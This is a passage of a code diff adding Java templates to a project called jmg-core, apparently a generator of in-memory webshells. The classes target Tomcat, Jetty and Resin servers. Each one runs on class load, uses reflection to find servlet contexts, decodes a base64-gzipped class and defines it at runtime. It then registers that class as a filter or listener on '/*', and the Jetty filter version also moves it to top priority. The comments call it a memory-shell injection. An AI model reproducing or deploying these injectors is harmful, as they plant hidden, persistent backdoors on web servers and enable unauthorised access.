(Object context : contexts) { + Object listener = getListener(context); + addListener(context, listener); + } + } catch (Exception ignored) { + + } + + } + + public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); + try { + for (Thread thread : threads) { + if (thread.getName().contains("ContainerBackgroundProcessor")) { + HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children"); + for (Object key : childrenMap.keySet()) { + HashMap children = (HashMap) getFV(childrenMap.get(key), "children"); + for (Object key1 : children.keySet()) { + Object context = children.get(key1); + if (context != null) contexts.add(context); + } + } + } + } + } catch (Exception ignored) { + } + return contexts; + } + + private Object getListener(Object context) throws Exception { + Object listener = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + + try { + listener = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + listener = clazz.newInstance(); + } catch (Exception ignored) { + } + + } + return listener; + } + + public void addListener(Object context, Object listener) throws Exception { + try { + List eventListeners = (List) invokeMethod(context, "getApplicationEventListeners"); + boolean isExist = false; + for (EventListener eventListener : eventListeners) { + if (eventListener.getClass().getName().equals(listener.getClass().getName())) { + isExist = true; + break; + } + } + if (!isExist) { + eventListeners.add((EventListener) listener); + } + } catch (Exception e) { + } + } + + + static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + static Object getFV(Object obj, String fieldName) throws Exception { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } +} diff --git a/jmg-core/src/main/java/jmg/core/template/JettyFilterInjectorTpl.java b/jmg-core/src/main/java/jmg/core/template/JettyFilterInjectorTpl.java new file mode 100644 index 0000000..3efa624 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/template/JettyFilterInjectorTpl.java @@ -0,0 +1,297 @@ +package jmg.core.template; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.UnsupportedEncodingException; +import java.lang.reflect.*; +import java.util.ArrayList; +import java.util.List; +import java.util.zip.GZIPInputStream; + +/** + * tested v8、v9 + */ + +public class JettyFilterInjectorTpl { + + public String getUrlPattern() { + return "/*"; + } + + + public String getClassName() { + return ""; + } + + public String getBase64String() throws IOException { + return ""; + } + + static { + new JettyFilterInjectorTpl(); + } + + public JettyFilterInjectorTpl() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object filter = getFilter(context); + addFilter(context, filter); + } + } catch (Exception ignored) { + + } + + } + + public String getFilterName(String className) { + if (className.contains(".")) { + int lastDotIndex = className.lastIndexOf("."); + return className.substring(lastDotIndex + 1); + } else { + return className; + } + } + + public void addFilter(Object context, Object magicFilter) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException, UnsupportedEncodingException { + String filterName = getFilterName(getClassName()); + + Class filterClass = magicFilter.getClass(); + try { + Object servletHandler = getFV(context, "_servletHandler"); + + // 1. 判断是否已经注入 + if (isInjected(servletHandler, filterClass.getName())) { + return; + } + + Class filterHolderClass = context.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterHolder"); + Constructor constructor = filterHolderClass.getConstructor(Class.class); + Object filterHolder = constructor.newInstance(filterClass); + invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{filterName}); + + + // 2. 注入内存马Filter + invokeMethod(servletHandler, "addFilterWithMapping", new Class[]{filterHolderClass, String.class, int.class}, new Object[]{filterHolder, getUrlPattern(), 1}); + // 3. 修改Filter的优先级为第一位 + Object filterMaps = getFV(servletHandler, "_filterMappings"); + Object[] tmpFilterMaps = new Object[Array.getLength(filterMaps)]; + int n = 1; + for (int i = 0; i < Array.getLength(filterMaps); i++) { + Object filter = Array.get(filterMaps, i); + String _filterName = (String) getFV(filter, "_filterName"); + if (_filterName.contains(filterClass.getName())) { + tmpFilterMaps[0] = filter; + } else { + tmpFilterMaps[n] = filter; + n++; + } + } + for (int j = 0; j < tmpFilterMaps.length; j++) { + Array.set(filterMaps, j, tmpFilterMaps[j]); + } + + // 4. 解决 jetty filterChainsCache 导致 filter 内存马连接失败的问题 + invokeMethod(servletHandler, "invalidateChainsCache"); + + } catch (Exception ignored) { + } + } + + List getContext() { + List contexts = new ArrayList(); + Thread[] threads = Thread.getAllStackTraces().keySet().toArray(new Thread[0]); + for (Thread thread : threads) { + try { + Object contextClassLoader = getContextClassLoader(thread); + if (isWebAppClassLoader(contextClassLoader)) { + contexts.add(getContextFromWebAppClassLoader(contextClassLoader)); + } else if (isHttpConnection(thread)) { + contexts.add(getContextFromHttpConnection(thread)); + } + } catch (Exception ignored) { + } + } + return contexts; + } + + private Object getContextClassLoader(Thread thread) throws Exception { + return invokeMethod(thread, "getContextClassLoader"); + } + + private boolean isWebAppClassLoader(Object classLoader) { + return classLoader.getClass().getName().contains("WebAppClassLoader"); + } + + private Object getContextFromWebAppClassLoader(Object classLoader) throws Exception { + Object context = getFV(classLoader, "_context"); + Object handler = getFV(context, "_servletHandler"); + return getFV(handler, "_contextHandler"); + } + + private boolean isHttpConnection(Thread thread) throws Exception { + Object threadLocals = getFV(thread, "threadLocals"); + Object table = getFV(threadLocals, "table"); + for (int i = 0; i < Array.getLength(table); ++i) { + Object entry = Array.get(table, i); + if (entry != null) { + Object httpConnection = getFV(entry, "value"); + if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) { + return true; + } + } + } + return false; + } + + private Object getContextFromHttpConnection(Thread thread) throws Exception { + Object threadLocals = getFV(thread, "threadLocals"); + Object table = getFV(threadLocals, "table"); + for (int i = 0; i < Array.getLength(table); ++i) { + Object entry = Array.get(table, i); + if (entry != null) { + Object httpConnection = getFV(entry, "value"); + if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) { + Object httpChannel = invokeMethod(httpConnection, "getHttpChannel"); + Object request = invokeMethod(httpChannel, "getRequest"); + Object session = invokeMethod(request, "getSession"); + Object servletContext = invokeMethod(session, "getServletContext"); + return getFV(servletContext, "this$0"); + } + } + } + throw new Exception("HttpConnection not found"); + } + + + private Object getFilter(Object context) { + + Object filter = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + filter = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + filter = clazz.newInstance(); + } catch (Exception e1) { + e1.printStackTrace(); + } + } + return filter; + } + + public static boolean isInjected(Object servletHandler, String filterClassName) throws Exception { + try { + Object filterMaps = getFV(servletHandler, "_filterMappings"); + for (int i = 0; i < Array.getLength(filterMaps); i++) { + Object filter = Array.get(filterMaps, i); + String filterName = (String) getFV(filter, "_filterName"); + if (filterName.contains(filterClassName)) { + return true; + } + } + } catch (Exception e) { + return false; + } + return false; + } + + + static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + static Object getFV(Object obj, String fieldName) throws Exception { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } +} diff --git a/jmg-core/src/main/java/jmg/core/template/JettyListenerInjectorTpl.java b/jmg-core/src/main/java/jmg/core/template/JettyListenerInjectorTpl.java new file mode 100644 index 0000000..fe41ac5 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/template/JettyListenerInjectorTpl.java @@ -0,0 +1,251 @@ +package jmg.core.template; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Array; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.EventListener; +import java.util.List; +import java.util.zip.GZIPInputStream; + +/** + * tested v7、v8、v9 + */ +public class JettyListenerInjectorTpl { + + public String getClassName() { + return ""; + } + + public String getBase64String() throws IOException { + return ""; +} + + static { + new JettyListenerInjectorTpl(); + } + + + public JettyListenerInjectorTpl() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object listener = getListener(context); + addListener(context, listener); + } + } catch (Exception e) { + + } + + } + + List getContext() { + List contexts = new ArrayList(); + Thread[] threads = Thread.getAllStackTraces().keySet().toArray(new Thread[0]); + for (Thread thread : threads) { + try { + Object contextClassLoader = getContextClassLoader(thread); + if (isWebAppClassLoader(contextClassLoader)) { + contexts.add(getContextFromWebAppClassLoader(contextClassLoader)); + } else if (isHttpConnection(thread)) { + contexts.add(getContextFromHttpConnection(thread)); + } + } catch (Exception ignored) { + } + } + return contexts; + } + + private Object getContextClassLoader(Thread thread) throws Exception { + return invokeMethod(thread, "getContextClassLoader"); + } + + private boolean isWebAppClassLoader(Object classLoader) { + return classLoader.getClass().getName().contains("WebAppClassLoader"); + } + + private Object getContextFromWebAppClassLoader(Object classLoader) throws Exception { + Object context = getFV(classLoader, "_context"); + Object handler = getFV(context, "_servletHandler"); + return getFV(handler, "_contextHandler"); + } + + private boolean isHttpConnection(Thread thread) throws Exception { + Object threadLocals = getFV(thread, "threadLocals"); + Object table = getFV(threadLocals, "table"); + for (int i = 0; i < Array.getLength(table); ++i) { + Object entry = Array.get(table, i); + if (entry != null) { + Object httpConnection = getFV(entry, "value"); + if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) { + return true; + } + } + } + return false; + } + + private Object getContextFromHttpConnection(Thread thread) throws Exception { + Object threadLocals = getFV(thread, "threadLocals"); + Object table = getFV(threadLocals, "table"); + for (int i = 0; i < Array.getLength(table); ++i) { + Object entry = Array.get(table, i); + if (entry != null) { + Object httpConnection = getFV(entry, "value"); + if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) { + Object httpChannel = invokeMethod(httpConnection, "getHttpChannel"); + Object request = invokeMethod(httpChannel, "getRequest"); + Object session = invokeMethod(request, "getSession"); + Object servletContext = invokeMethod(session, "getServletContext"); + return getFV(servletContext, "this$0"); + } + } + } + throw new Exception("HttpConnection not found"); + } + + + private Object getListener(Object context) { + Object listener = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + listener = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + listener = clazz.newInstance(); + } catch (Throwable tt) { + } + } + return listener; + } + + public static void addListener(Object context, Object listener) { + try { + if (isInjected(context, listener.getClass().getName())) { + return; + } + + invokeMethod(context, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener}); + } catch (Exception e) { + } + } + + + public static boolean isInjected(Object context, String className) throws Exception { + + try { + // jetty v8、 v9 + EventListener[] eventListeners = (EventListener[]) invokeMethod(context, "getEventListeners"); + for (int i = 0; i < eventListeners.length; i++) { + if (eventListeners[i].getClass().getName().contains(className)) { + return true; + } + } + } catch (Exception e) { + } + + return false; + } + + + static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + static Object getFV(Object obj, String fieldName) throws Exception { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } +} diff --git a/jmg-core/src/main/java/jmg/core/template/ResinFilterInjectorTpl.java b/jmg-core/src/main/java/jmg/core/template/ResinFilterInjectorTpl.java new file mode 100644 index 0000000..774e3bf --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/template/ResinFilterInjectorTpl.java @@ -0,0 +1,221 @@ +package jmg.core.template; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.HashSet; +import java.util.List; +import java.util.Map; +import java.util.zip.GZIPInputStream; + +public class ResinFilterInjectorTpl { + public String getUrlPattern() { + return "/*"; + } + + + public String getClassName() { + return ""; + } + + public String getBase64String() throws IOException { + return ""; + } + + static { + new ResinFilterInjectorTpl(); + } + + public ResinFilterInjectorTpl() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object filter = getFilter(context); + addFilter(context, filter); + } + } catch (Exception ignored) { + + } + + } + + private void addFilter(Object context, Object filter) throws Exception { + String filterClassName = filter.getClass().getName(); + if (!isInjected(context, filterClassName)) { + try { + Class filterMappingClass; + try { + filterMappingClass = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping"); + } catch (Exception e) { + filterMappingClass = context.getClass().getClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping"); + } + Object filterMappingImpl = filterMappingClass.newInstance(); + invokeMethod(filterMappingImpl, "setFilterName", new Class[]{String.class}, new Object[]{getFilterName(filterClassName)}); + invokeMethod(filterMappingImpl, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName}); + Object urlPattern = invokeMethod(filterMappingImpl, "createUrlPattern"); + invokeMethod(urlPattern, "addText", new Class[]{String.class}, new Object[]{urlPattern}); + invokeMethod(urlPattern, "init"); + invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl}); + invokeMethod(context, "clearCache"); + } catch (Throwable e) { + } + } + } + + public List getContext() { + List contexts = new ArrayList(); + HashSet visited = new HashSet(); + + try { + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]); + for (Thread thread : threads) { + Class servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation"); + Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null); + Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]); + if (webApp != null && visited.add(webApp)) { + contexts.add(webApp); + } + } + } catch (Exception e) { + // Handle exception + } + return contexts; + + } + + private Object getFilter(Object context) { + Object filter = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + filter = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + filter = clazz.newInstance(); + } catch (Throwable tt) { + } + } + return filter; + } + + + public String getFilterName(String className) { + if (className.contains(".")) { + int lastDotIndex = className.lastIndexOf("."); + return className.substring(lastDotIndex + 1); + } else { + return className; + } + + } + + public boolean isInjected(Object context, String evilClassName) throws Exception { + Map filters = (Map) getFV(getFV(context, "_filterManager"), "_filters"); + for (String key : filters.keySet()) { + if (key.contains(evilClassName)) { + return true; + } + } + return false; + } + + static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + static Object getFV(Object obj, String fieldName) throws Exception { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } +} \ No newline at end of file diff --git a/jmg-core/src/main/java/jmg/core/template/ResinListenerInjectorTpl.java b/jmg-core/src/main/java/jmg/core/template/ResinListenerInjectorTpl.java new file mode 100644 index 0000000..22f6d13 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/template/ResinListenerInjectorTpl.java @@ -0,0 +1,188 @@ +package jmg.core.template; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.HashSet; +import java.util.List; +import java.util.zip.GZIPInputStream; + +public class ResinListenerInjectorTpl { + public String getClassName() { + return ""; + } + + public String getBase64String() throws IOException { + return ""; + } + + static { + new ResinListenerInjectorTpl(); + } + + public ResinListenerInjectorTpl() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object listener = getListener(context); + injectListener(context, listener); + } + } catch (Exception ignored) { + + } + + } + + private void injectListener(Object context, Object listener) throws Exception { + if (!isInjected(context, listener.getClass().getName())) { + invokeMethod(context, "addListenerObject", new Class[]{Object.class, boolean.class}, new Object[]{listener, true}); + // 清除缓存,否则某些 uri 无法连接 + invokeMethod(context, "clearCache"); + + } + } + + public List getContext() { + List contexts = new ArrayList(); + HashSet visited = new HashSet(); + try { + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]); + for (Thread thread : threads) { + Class servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation"); + Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null); + Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]); + if (webApp != null && visited.add(webApp)) { + contexts.add(webApp); + } + } + } catch (Exception e) { + } + return contexts; + + } + + private Object getListener(Object context) { + Object listener = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + listener = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + listener = clazz.newInstance(); + } catch (Throwable tt) { + } + } + return listener; + } + + public boolean isInjected(Object context, String evilClassName) throws Exception { + ArrayList arrayList = (ArrayList) getFV(context, "_requestListeners"); + for (int i = 0; i < arrayList.size(); i++) { + if (arrayList.get(i).getClass().getName().contains(evilClassName)) { + return true; + } + } + return false; + } + + static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + static Object getFV(Object obj, String fieldName) throws Exception { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new 